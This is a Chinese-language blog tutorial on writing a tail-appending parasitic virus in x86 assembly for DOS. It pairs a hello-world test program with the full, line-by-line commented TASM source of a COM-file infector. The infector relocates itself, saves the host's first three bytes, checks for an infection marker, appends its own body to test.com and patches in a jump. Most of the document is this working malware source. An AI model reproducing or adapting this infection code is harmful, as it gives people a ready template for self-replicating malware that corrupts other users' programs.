ASM-用汇编写一个尾寄生Virus

code格式化highlight输出参考:http://tinker.kotaweaver.com/blog/?p=152

在tasm 编译通过:

测试程序:

;DTA数据传输区,存放文件的相关控制信息,它的作用是在磁盘文件与程序之间做一个桥梁,
;程序写文件时先写DTA,程序读文件时就直接从DTA中读取文件的信息。

.model tiny
.code
    org 0100h
    
ok: mov dx,offset message
    mov ah,09h
    int 21h
    mov ah,4ch
    int 21h
    ret
    message db 'HelloWorld!!',0dh,0ah,'$'
end ok

Virus程序:
.model tiny
.code
org 100h
start:
    db 90h,90h,90h            ;三个无操作码,空出三个字节
vstart:                        ;用IP指针减去偏移量的方式,做到重定位
    ok:call locate            ;病毒代码的起始,遇到call寄存器入栈,ip也同样入栈
    
locate:pop si                ;将ip地址出栈到si寄存器中
    sub si,offset locate    ;减去病毒的起始地址,用于回到宿主程序的地址
    
writeold:                    ;将100h处的内存代码写为我们病毒保存的3个字节,第1次运行是一条退出指令
                            ;以后运行的时候,它就是我们宿主程序开始的三个字节
    push si                ;保存si
    mov di,100h            ;把100h送到目的地址DI寄存器
    lea si,[si+f3byte]        ;在内存处写入3个字节
    movsb
    movsw
    pop si
    
openf:                        ;打开文件
    mov ax,3d02h            ;3dh功能调用,调用参数ds:dx=ASCIZ串地址,al=访问文件共享方式,
                            ;0=读,1=写,2=读/写;若调用成功,返回参数AX=文件代号
    lea dx,[fname+si]        ;文件名所在的地址
    int 21h                    ;DOS中断
    jc error1                ;没有打开跳到error1
    xchg ax,bx                ;将打开文件功能调用的出口参数(文件代号)存到bx当中
    
loadold:                    ;保存宿主程序的前3个节字的代码在这里
    mov ax,4200h            ;42号功能调用,移动文件指针,重新读取原先的3个字节,让它从头开始
    xor cx,cx                ;将cx清空,把偏移量高位置零
    xor dx,dx                ;将dx清空,把偏移量低位置零
    int 21h
    mov ah,3fh                ;3f功能调用,读文件或设备
    mov cx,3                ;读3个字节
    lea dx,[f3byte+si]        ;将它保存在宿主文件头部的那3个字节处的内存单元
    int 21h
    
judge:
    mov ax,4202h            ;42号调用,移动文件指针,al=2从文件尾绝对位移
    mov cx,0ffffh            ;偏移量高位,
    mov dx,0fffeh            ;偏移量低位,负2的补码0fffeh
    int 21h
    mov ax,3fh                ;3f功能调用,读文件或设备,读取倒数的两个字?
    mov cx,2                ;cx为要读取字节的数量
    lea dx,[si+vid]        ;将vid的偏移地址存放到dx(偏移量低位)当中
    int 21h
    cmp word ptr [vid+si],0fecah    ;将取出的两个字节的内容与特征码进行比较
    jz closef                ;如果相等,说明这个文件已经被感染过了,跳转到关闭文件
    mov word ptr [vid+si],0fecah    ;否则继续感染这个文件,在感染之前将其特征位设置为0fecah
    
pointf:                ;重新定位文件的读写指针
    mov ax,4202h    ;42号功能调用,移动文件指针,调用参数 BX=文件代号,CX:DX=位移量,AL=2从文件尾
    xor cx,cx        ;将cx清零,代表偏移量的高位
    xor dx,dx        ;将dx清零,代表偏移量的低位
    int 21h        ;DOS中断,偏移量都为零,说明从文件的尾部开始,若成功,dx:ax=新指针位置;失败,ax=错误码
    error1:jc error2    ;错误跳转的地址
    sub ax,3        ;JMP指令占3字节,ax(上面文件读指针的出口参数)存放着写入病毒代码的字节数
    mov word ptr entry[si+1],ax    ;ax减3获得JMP的偏移地址,再送到entry的下一地址
    
writef:                ;写文件
    mov ah,40h    ;40h调用,写文件或设备,ds:dx=数据缓冲区地址,bx=文件代号,cx=写入的字节数;若调用成功返回ax=实;;际实际写入的字节数
    mov cx,filel    ;把要写入文件的长度存到cx
    lea dx,[vstart+si]    ;将病毒的起始地址存到dx当中
    int 21h            ;DOS中断
    
writejmp:            ;写跳转指令
    mov ax,4200h    ;42号调用,移动文件指针,将读写地址定义到起始处
    xor cx,cx        ;将cx清零,代表偏移量的高位
    xor dx,dx        ;将dx清零,代表偏移量的低位
    int 21h
    mov ah,40h        ;40号调用,写文件
    mov cx,3        ;写3个字节
    lea dx,[entry+si]    ;写的字节在entry里的那条机器码
    int 21h
    
closef:                ;关闭文件
    mov ah,3eh        ;3eh号调用,关闭文件
    int 21h
    
error2:

hello:                ;为了程序试验方便,我们让它打印一句话
    lea dx,[message+si]    ;要打印显示的字符串的地址
    mov ah,9        ;9号调用显示字符串
    int 21h
    mov ax,100h    ;这些都完成之后就让它跳回100h
    push ax        ;将ax入栈    
    ret                ;返回指令,将ax返回到IP中
    
message db "cafe !",0dh,0ah    ;0dh 回车符,0ah换行符
        db '$'                ;表这个字符串结束?
        
f3byte db 0cdh,20h,0         ;int 20h 的机器码,退出指令
entry db 0e9h,0,0             ;jmp 0 的机器码
fname db "test.com",0,'$'    ;指令文件名的缓冲区
vid db 0cah,0feh            ;病毒特征码
filel equ $-vstart            ;前面空出的三个字节只有在病毒第一次运行时才有意义

end start

参考自瑟凡老师的瑟凡计算机病毒系列

版权所有,转载请注明出处 luowei.github.io.